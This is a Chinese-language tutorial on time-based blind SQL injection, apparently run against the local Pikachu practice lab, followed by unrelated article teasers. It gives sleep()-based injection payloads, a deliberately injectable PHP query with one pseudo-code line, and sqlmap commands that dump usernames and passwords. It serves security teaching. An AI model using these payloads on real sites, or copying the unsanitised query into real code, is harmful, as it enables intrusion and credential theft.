sql注入之时间注入

一、时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。

如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时。这样就能获取字符,接着再拼接就是当前库的内容。

二、代码分析

在页面中分析源码,直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

$link=connect();
$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
  //这里没有做任何处理,直接拼到select里面去了
  $name=$_GET['name'];
  if $name 有 sleep() select insert()  清空 或者重定向
  //这里的变量是字符型,需要考虑闭合
  $query="select id,email from member where username='$name'";
  $result=execute($link, $query);
  if(mysqli_num_rows($result)>=1){
    while($data=mysqli_fetch_assoc($result)){
      $id=$data['id'];
      $email=$data['email'];
      $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
    }
  }else{

    $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
  }
}

三、sqlmap测时间注入

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

采用时间注入:

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T

-u 表示检测的 url

-p 指定的检测参数

-v 显示调试模式

--technique=T 检测方法为时间注入

2、获取用户和数据库名

sqlmap 检测为时间注入,通过这个注入获取数据库名、用户权限、表、字段等敏感信息。
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式,自动 y

3、获取表

-D 指定数据库
--tables 获取表
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch

4、获取字段

-T 指定表
--columns 获取字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

5、查询账号和密码

--dump 导出数据
-C 指定查询的字段
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T  --dump -C "id,username,password" -T users -D pikachu --batch

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/546134.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

G2D图像处理硬件调用和测试-基于米尔-全志T113-i开发板

本篇测评由电子工程世界的优秀测评者“jf_99374259”提供。 本文将介绍基于米尔电子MYD-YT113i开发板的G2D图像处理硬件调用和测试。 MYC-YT113i核心板及开发板 真正的国产核心板&#xff0c;100%国产物料认证 国产T113-i处理器配备2*Cortex-A71.2GHz &#xff0c;RISC-V 外置…

Selenium自动化测试网页加载太慢如何解决?

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 遇到网页加载慢&#xff0c;selenium运行效率降低&#xff0c;可以通过修改页面加载策略提升自动…

docker-compose yaml指定具体容器网桥ip网段subnet;docker创建即指定subnet;docker取消自启动

1、docker-compose yaml指定具体容器网桥ip网段subnet docker-compose 启动yaml有时可能的容器网段与宿主机的ip冲突导致宿主机上不了网&#xff0c;这时候可以更改yaml指定subnet 宿主机内网一般是192**&#xff0c;这时候容器可以指定172* version: 3.9 services:coredns:…

Django之rest_framework(四)

扩展的视图类介绍 rest_framework提供了几种后端视图(对数据资源进行增删改查)处理流程的实现,如果需要编写的视图属于这几种,则视图可以通过继承相应的扩展类来复用代码,减少自己编写的代码量 官网:3 - Class based views - Django REST framework rest_framework.mixi…

比特币突然暴跌

作者&#xff1a;秦晋 周末愉快。 今天给大家分享两则比特币新闻&#xff0c;也是两个数据。一则是因为中东地缘政治升温&#xff0c;传统资本市场的风险情绪蔓延至加密市场&#xff0c;引发加密市场暴跌。比特币跌至66000美元下方。杠杆清算金额高达8.5亿美元。 二则是&#x…

【Node.js】Express学习笔记(黑马)

目录 初识 ExpressExpress 简介Express 的基本使用托管静态资源nodemon Express 路由路由的概念路由的使用 Express 中间件中间件的概念Express 中间件的初体验中间件的分类 初识 Express Express 简介 什么是 Express&#xff1f; 官方给出的概念&#xff1a;Express 是基于…

书生·浦语大模型全链路开源体系-第3课

书生浦语大模型全链路开源体系-第3课 书生浦语大模型全链路开源体系-第3课相关资源RAG 概述在 InternLM Studio 上部署茴香豆技术助手环境配置配置基础环境下载基础文件下载安装茴香豆 使用茴香豆搭建 RAG 助手修改配置文件 创建知识库运行茴香豆知识助手 在茴香豆 Web 版中创建…

Windows 10明年退役

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、Windows 10 生命周期终止&#xff0c;收费预警二、收费标准&#xff1a;基于云的方式&#xff0c;使用 Windows 10 的 PC 也能接收 ESU高定价背后还是主推 …

如何查看个人大数据信用报告?查询报告哪家好呢?

大数据信用报告是现代社会中非常重要的信用评估工具&#xff0c;对于个人来说也具有非常重要的意义。那么&#xff0c;如何查看个人大数据信用报告?查询报告哪家好呢?本文将为您介绍。 首先&#xff0c;查看个人大数据信用报告需要了解报告的内容和格式 一般来说&#xff0c;…

vite+vue3+antDesignVue 记录-持续记录

记录学习过程 持续补充 每天的学习点滴 开始时间2024-04-12 1&#xff0c;报错记录 &#xff08;1&#xff09;env.d.ts文件 解决方法&#xff1a; 在env.d.ts文件中添加以下代码&#xff08;可以看一下B站尚硅谷的讲解视频&#xff09; declare module *.vue {import { Defi…

Hello算法11:排序

https://www.hello-algo.com/chapter_sorting/ 选择排序 初始未排序的区间是[0,n-1]在[0,n-1]中查找最小元素&#xff0c;和索引0交换&#xff0c;此时未排序的区间是[1,n-1]在[1,n-1]中查找最小元素&#xff0c;和索引1交换&#xff0c;此时未排序区间是[2,n-1]以此类推&…

Langchain-Chatchat在windows平台离线部署(1)

Langchain-Chatchat在windows平台离线部署&#xff08;1&#xff09; pwd的不兼容 在调用数据库初始化程序的时候&#xff0c;系统将会调用pebblo.py程序&#xff0c;在此程序中&#xff0c;需要调用基于linux平台的pwd程序。 在windows环境下&#xff0c;pwd模块不兼容&…

extends继承

目录 什么时候用继承? 继承的格式? 继承的特点 子类可以继承父类的哪些呢&#xff1f; 是否可以继承父类的构造方法呢&#xff1f; 是否可以继承成员变量&#xff1f; 是否可以继承成员方法&#xff1f; 在Java中&#xff0c;extends关键字用于实现继承关系。通过使用…

WInForm —— 自定义画板

项目模板:要实现在背景和无背景上完成画线&#xff0c;画直线、矩形、椭圆、并能随意调整字体的大小 首先要定义绘制的类型 enum DrawMode {None, // 没有选择绘制型Pen, // 画笔 画直线Line,// 画直线Rectangle,// 画矩形Ellipse, // 画椭圆Rubber // 橡皮擦 } //如果要想…

【Linux】进程的优先级及linux下进程的调度于切换

目录 ​编辑 1.优先级是什么 2.linux中的优先级是怎么实现的 ps -la 命令查看当前用户启动的进程​编辑 linux下调整优先级&#xff1a; ①先top一下 ②点击r ③需要输入进程的pid ④回车 ​编辑 ⑤输入想将优秀级修改的值&#xff1a; linux进程优先级范围为什么必须是【60,9…

Navicat的安装与破解

个人介绍 hello hello~ &#xff0c;这里是 code袁~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的…

《系统分析与设计》实验-----需求规格说明书 哈尔滨理工大学

文章目录 需求规格说明书1&#xff0e;引言1.1编写目的1.2项目背景1.3定义1.4参考资料 2&#xff0e;任务概述2.1目标2.2运行环境2.3条件与限制 3&#xff0e;数据描述3.1静态数据3.2动态数据3.3数据库介绍3.4数据词典3.5数据采集 4&#xff0e;功能需求4.1功能划分4.2功能描述…

Java——封装、访问修饰符、包

目录 一.封装的概念 二.访问限定符 三.封装扩展之包 1.包的概念 2.导入包中的类 3.自定义包 4.包的访问权限控制举例 5.常见的包 一.封装的概念 面向对象程序三大特性&#xff1a;封装、继承、多态。而类和对象阶段&#xff0c;主要研究的就是封装特性。何为封装呢&am…

linux进阶篇:文件查找的利器——grep命令+管道操作详解

Linux文件查找的利器——grep命令管道操作详解 1 grep简介 grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具&#xff0c;它能使用正则表达式搜索文本&#xff0c;并把匹配的行打印出来。 Uni…

Java面试八股文(更新中emsp;)(❤❤)

Java面试八股文 一. 基础篇1. Java语言特点2. 面向对象和面向过程的区别3. 八种基本数据类型的大小&#xff0c;以及他们的封装类4. 标识符的命名规则5. instanceof 关键字的作用6. Java自动装箱与拆箱面试题1&#xff1a; 以下代码会输出什么&#xff1f;面试题2&#xff1a;以…